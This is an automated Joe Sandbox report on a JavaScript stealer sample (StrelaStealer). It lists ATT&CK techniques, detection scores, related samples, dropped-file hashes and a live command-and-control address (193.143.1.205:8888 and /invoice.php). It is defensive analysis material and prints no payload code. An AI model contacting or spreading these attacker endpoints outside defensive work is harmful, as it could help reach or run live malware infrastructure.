Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2836992752554325080.js	8%	Virustotal		Browse
2836992752554325080.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.2801387397.000001F3B6200000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1608250310.000001F3B6150000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1610541997.000001B025098000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1610599646.000001B0250D0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1607419611.000001B0250D0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1610541997.000001B025098000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1610760641.000001B0250F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1603885146.000001B0250EE000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589076
Start date and time:	2025-01-11 09:13:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2836992752554325080.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 18.213.11.84, 34.237.241.83, 50.16.47.176, 54.224.241.105, 2.23.242.162, 199.232.210.172, 23.209.209.135, 2.16.168.107, 2.16.168.105, 172.202.163.200, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:14:17	API Interceptor	34x Sleep call for process: powershell.exe modified
03:14:22	API Interceptor	1x Sleep call for process: net.exe modified
03:14:22	API Interceptor	2x Sleep call for process: svchost.exe modified
03:14:30	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44462735347649449.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2634817597621928878.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26804379891331232.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2598020871582219525.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2014717258213104107.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022043082922334
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAM:RJE+Lfki1GjHwU/+vVhWqpt
MD5:	590AE2E51DB7D12E75A82F8D0FE5CE77
SHA1:	09FC78269443A712E34854D381A814115E97B1DE
SHA-256:	1C9870B2FA0A9B37ABFA0705858627E5E861DB46C5622E7D31BDB70BE84AA7AF
SHA-512:	15E35AC863F59727C7DDD0BFDF1A65EC451205952378E316F7F7A42FDFD5979B6B657DCF8E3BB1085DD0C062FF7732B611117C03C72853F25A38E0CBEA219229
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xccd8e59e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433219574336358
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	9CD9737F2B4F72D53E2AEAF1BF4BBF8B
SHA1:	DA9977FE0780D5BF10571ABE515B671712E15008
SHA-256:	3251A797BA3DF7E33690D7ED5F1AFDA58CCE775D5E73880378DE39B759DE1731
SHA-512:	010384AC9E750D603A49AEFA73ECE27CC01E0FA6C90AA58C1B42021C0DCB62389DA278EB28A34EAA2FB55A9B43FBA75E820A37A18EA51B65CB7B26F08CF13728
Malicious:	false
Preview:	...... ...............X\...;...{......................0.x...... ...{s......}q.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................'.....}....................+......}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07987290536855478
Encrypted:	false
SSDEEP:	3:2stl/yYeFRFtqll/nqlFcl1ZUlllluQ+c/YllGBnX/l/Tj/k7/t:2sX6zFBqll/qlFclQ/lGR254
MD5:	9111008C391EB337C9FE8305A2779023
SHA1:	407F51E1F776AE6DE687AB956B395DA969DFBD55
SHA-256:	497D3AF03D1C5D2E257B26BDE1C5620A50F546B547CA86CF29D1EFE4A17659F8
SHA-512:	E820B3338F66DF7976EA4C3A464C586F8A045246F468D0D8C5B8EB62A9ACD018CB83D70D95030947B6709E8D52907F06F999AF63C73A4612395C990A87684702
Malicious:	false
Preview:	!.I......................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s...................+......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.183205046787412
Encrypted:	false
SSDEEP:	6:iOlAPGlyq2PCHhJ2nKuAl9OmbnIFUtHAJC11ZmwpAZ1RkwOCHhJ2nKuAl9OmbjLJ:7eSyvBHAahFUtgJi/iZ1R56HAaSJ
MD5:	A13E8DBD897A0094DAFA1A359C69033F
SHA1:	6AF637F5C78A03B846E0B81992D5ECFD5C8ECB86
SHA-256:	389DE76A5A062EFE7879A2D83B687EE9AE42D0A35EEE289842BC0A365FF4BE4C
SHA-512:	D6E185F503079A461A4B6DA792857B85128BBE3D58F4817839F0B9FE568D02A23F0E5AC02200092D8F89F66A38381A0168DAFE26B5DEECE36F4F3E964F8178C0
Malicious:	false
Preview:	2025/01/11-03:14:22.943 2e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:14:22.945 2e4 Recovering log #3.2025/01/11-03:14:22.946 2e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.183205046787412
Encrypted:	false
SSDEEP:	6:iOlAPGlyq2PCHhJ2nKuAl9OmbnIFUtHAJC11ZmwpAZ1RkwOCHhJ2nKuAl9OmbjLJ:7eSyvBHAahFUtgJi/iZ1R56HAaSJ
MD5:	A13E8DBD897A0094DAFA1A359C69033F
SHA1:	6AF637F5C78A03B846E0B81992D5ECFD5C8ECB86
SHA-256:	389DE76A5A062EFE7879A2D83B687EE9AE42D0A35EEE289842BC0A365FF4BE4C
SHA-512:	D6E185F503079A461A4B6DA792857B85128BBE3D58F4817839F0B9FE568D02A23F0E5AC02200092D8F89F66A38381A0168DAFE26B5DEECE36F4F3E964F8178C0
Malicious:	false
Preview:	2025/01/11-03:14:22.943 2e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:14:22.945 2e4 Recovering log #3.2025/01/11-03:14:22.946 2e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.154068188376671
Encrypted:	false
SSDEEP:	6:iOlAeBNq2PCHhJ2nKuAl9Ombzo2jMGIFUtHAeB9ZZmwpAeBBKkwOCHhJ2nKuAl97:7eWNvBHAa8uFUtgWP/iWE56HAa8RJ
MD5:	79870F76E10F7032A6C7238733253994
SHA1:	0C8FE1D4E4B7C85C38DB5B9FB4E6410ED89B6A59
SHA-256:	62708E604D2D4696BF43D46752268E6DF5CC9186F05FD8C936B9F66243559DBC
SHA-512:	5AE42E2827F6ED52B3F1A8432AE461BBF5EC5CFE9F75B482C76AA28FA213EA8F650D1D22D55B7FC17E305F94DE239EF1A7FF58C4B1C4C3797E5E800B23E91AB1
Malicious:	false
Preview:	2025/01/11-03:14:23.021 1960 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:14:23.024 1960 Recovering log #3.2025/01/11-03:14:23.025 1960 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.154068188376671
Encrypted:	false
SSDEEP:	6:iOlAeBNq2PCHhJ2nKuAl9Ombzo2jMGIFUtHAeB9ZZmwpAeBBKkwOCHhJ2nKuAl97:7eWNvBHAa8uFUtgWP/iWE56HAa8RJ
MD5:	79870F76E10F7032A6C7238733253994
SHA1:	0C8FE1D4E4B7C85C38DB5B9FB4E6410ED89B6A59
SHA-256:	62708E604D2D4696BF43D46752268E6DF5CC9186F05FD8C936B9F66243559DBC
SHA-512:	5AE42E2827F6ED52B3F1A8432AE461BBF5EC5CFE9F75B482C76AA28FA213EA8F650D1D22D55B7FC17E305F94DE239EF1A7FF58C4B1C4C3797E5E800B23E91AB1
Malicious:	false
Preview:	2025/01/11-03:14:23.021 1960 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:14:23.024 1960 Recovering log #3.2025/01/11-03:14:23.025 1960 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.953441890631898
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZRU/sBdOg2HcqZcaq3QYiub6P7E4T3y:Y2sRdsgUAdMHs3QYhbS7nby
MD5:	3C7975537E4A989086930FEF18FFAC61
SHA1:	08D46DD0D153F11B428CD1C40D5EB7A6AFE041CF
SHA-256:	857D81C18F6F2F5D1E77A07F4846C76F875B377B34D0320AD5E9E57CCFDA87CB
SHA-512:	90502F001A11DDF9170E8E7A84E3418D17355833F571136703D5330D21FFF332ED7A8EBC298BE579E910C1E2FCBBDA3AE04C38C2236D21DA60FD5FC777550AEE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381143274141638","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":312595},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a2a66c75-d910-40ba-ab9f-ace8fae8d69e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.953441890631898
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZRU/sBdOg2HcqZcaq3QYiub6P7E4T3y:Y2sRdsgUAdMHs3QYhbS7nby
MD5:	3C7975537E4A989086930FEF18FFAC61
SHA1:	08D46DD0D153F11B428CD1C40D5EB7A6AFE041CF
SHA-256:	857D81C18F6F2F5D1E77A07F4846C76F875B377B34D0320AD5E9E57CCFDA87CB
SHA-512:	90502F001A11DDF9170E8E7A84E3418D17355833F571136703D5330D21FFF332ED7A8EBC298BE579E910C1E2FCBBDA3AE04C38C2236D21DA60FD5FC777550AEE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381143274141638","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":312595},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237454371587181
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b5ByZ0J:S43C4mS7fFi0KFYDjr3LWO3V3aw+b5BB
MD5:	FC1046202BE6FA580F44BA1E6E044518
SHA1:	7719FA3CEE7005F55B6913E09026F1F15808AC25
SHA-256:	1C4AF1017E63451D00FBD9711640592BFDE29BE5F5F13CEB65070E4229BD86C7
SHA-512:	18FA174867C89108D87A208F246CBD309998A122648A43CDC0A292DC2314C6EA7EC51A0299971CEA0BAEBA2853D4549F92424E5421BB937724C60EB58F39C112
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.159860476250355
Encrypted:	false
SSDEEP:	6:iOlAegOTUq2PCHhJ2nKuAl9OmbzNMxIFUtHAegI9FZZmwpAegI9FzkwOCHhJ2nKA:7eAIvBHAa8jFUtg2X/i2F56HAa84J
MD5:	282BABD220B30B25B1B66DE93B56B7F7
SHA1:	F1C7709A23532870E7E811F93B5E4B3A91E60E18
SHA-256:	6ADF8527179C827217B78F3093F388645CF5438BD941BF7F9B94D5AECB3DD7A7
SHA-512:	DAB931BF885F4840E01AC41975406B15B1F666B9E8172A55BF95116FB7FE1B8DDCFF38A395EBF8AA3A0EB66BBE4CBBB434A216CFC5F2E6ACEE5729AF5FE2ACF9
Malicious:	false
Preview:	2025/01/11-03:14:23.112 1960 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:14:23.114 1960 Recovering log #3.2025/01/11-03:14:23.114 1960 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.159860476250355
Encrypted:	false
SSDEEP:	6:iOlAegOTUq2PCHhJ2nKuAl9OmbzNMxIFUtHAegI9FZZmwpAegI9FzkwOCHhJ2nKA:7eAIvBHAa8jFUtg2X/i2F56HAa84J
MD5:	282BABD220B30B25B1B66DE93B56B7F7
SHA1:	F1C7709A23532870E7E811F93B5E4B3A91E60E18
SHA-256:	6ADF8527179C827217B78F3093F388645CF5438BD941BF7F9B94D5AECB3DD7A7
SHA-512:	DAB931BF885F4840E01AC41975406B15B1F666B9E8172A55BF95116FB7FE1B8DDCFF38A395EBF8AA3A0EB66BBE4CBBB434A216CFC5F2E6ACEE5729AF5FE2ACF9
Malicious:	false
Preview:	2025/01/11-03:14:23.112 1960 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:14:23.114 1960 Recovering log #3.2025/01/11-03:14:23.114 1960 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
